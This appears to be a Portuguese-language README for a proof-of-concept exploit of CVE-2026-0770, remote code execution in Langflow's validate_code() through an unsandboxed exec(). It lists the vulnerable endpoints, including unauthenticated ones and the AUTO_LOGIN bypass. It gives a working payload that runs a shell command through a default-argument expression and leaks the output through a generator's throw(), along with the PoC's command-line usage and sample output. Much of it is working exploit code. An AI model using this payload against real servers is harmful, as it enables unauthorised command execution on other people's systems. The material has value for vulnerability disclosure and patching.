
Prova de Conceito para CVE-2026-0770 - Execução Remota de Código no Langflow
O Langflow contém uma vulnerabilidade crítica de execução remota de código na função validate_code() localizada em src/lfx/src/lfx/custom/validate.py. A função usa exec() para executar código Python fornecido pelo usuário sem sandboxing, permitindo execução arbitrária de comandos no servidor.
Vulnerabilidades semelhantes foram identificadas em funções e endpoints relacionados:
A função analisa o código fornecido pelo usuário e executa definições de funções usando :
validate_code()exec()# validate.py:66
for node in tree.body:
if isinstance(node, ast.FunctionDef):
code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
exec(code_obj, exec_globals) # <-- Execução arbitrária de código
O contexto exec_globals inclui acesso a importlib e builtins do Python, permitindo que atacantes importem módulos perigosos (os, subprocess, socket) e executem comandos arbitrários do sistema.
| Endpoint | Autenticação | Vetor de Ataque |
|---|---|---|
POST /api/v1/validate/code | Obrigatória* | Submissão direta de código |
POST /api/v1/custom_component | Obrigatória* | Código na definição do componente |
POST /api/v1/custom_component/update | Obrigatória* | Código na atualização do componente |
POST /api/v1/webhook/{flow_id} | Nenhuma | Fluxo com componentes de código |
POST /api/v1/build_public_tmp/{flow_id}/flow | Nenhuma | Execução de fluxo público |
* A autenticação pode ser contornada quando AUTO_LOGIN=true (a configuração padrão)
As seguintes funções em validate.py também usam exec() inseguro:
| Função | Linha | Descrição |
|---|---|---|
validate_code() | 66 | Valida código do usuário |
eval_function() | 140 | Avalia strings de funções |
execute_function() | 182 | Executa funções arbitrárias |
create_function() | 227 | Cria funções a partir de código |
create_class() | 241-442 | Cria classes via prepare_global_scope() e build_class_constructor() |
throw()A função validate_code() apenas executa definições de funções, não chamadas de funções. Para alcançar a execução de código com exfiltração de saída, exploramos a ordem de avaliação do Python para argumentos padrão.
Insight-chave: Expressões de argumentos padrão são avaliadas no momento da definição da função, não quando a função é chamada.
def foo(x=print("Eu executo imediatamente")):
pass
No entanto, precisamos exfiltrar a saída através da resposta HTTP. O endpoint retorna erros no corpo da resposta, então precisamos lançar uma exceção contendo nossa saída.
Problema: raise é uma declaração, não uma expressão, então não pode ser usado diretamente em um argumento padrão.
Solução: Use o método .throw() de um gerador, que lança uma exceção e É uma expressão:
(_ for _ in ()).throw(Exception("saída aqui"))
Isso cria um gerador vazio e imediatamente lança uma exceção. Combinado com um lambda para capturar a saída do comando:
def exploit(
_=(lambda r: (_ for _ in ()).throw(Exception(f"OUTPUT:\n{r.stdout}")))(
__import__('subprocess').run("id", shell=True, capture_output=True, text=True)
)
):
pass
Fluxo de execução:
exec() executa a definição da função_=... é avaliado imediatamentesubprocess.run() executa o comando.throw() do geradorvalidate_code() a captura e retorna o erro na respostapython poc.py --target http://localhost:7860 -c "id && whoami && hostname"
| Flag | Descrição |
|---|---|
-t, --target | URL do alvo (obrigatório) |
-c, --command | Comando a executar (padrão: id && whoami) |
-k, --token | Token JWT (opcional, usa auto-login por padrão) |
[*] Alvo: http://localhost:7860
[*] Tentando auto-login (configuração padrão)...
[+] Auto-login bem-sucedido!
[*] Executando: id && whoami && hostname
[+] Status: 200
[+] Saída:
uid=1000(user) gid=0(root) groups=0(root)
user
53977c93d567
src/lfx/src/lfx/custom/validate.py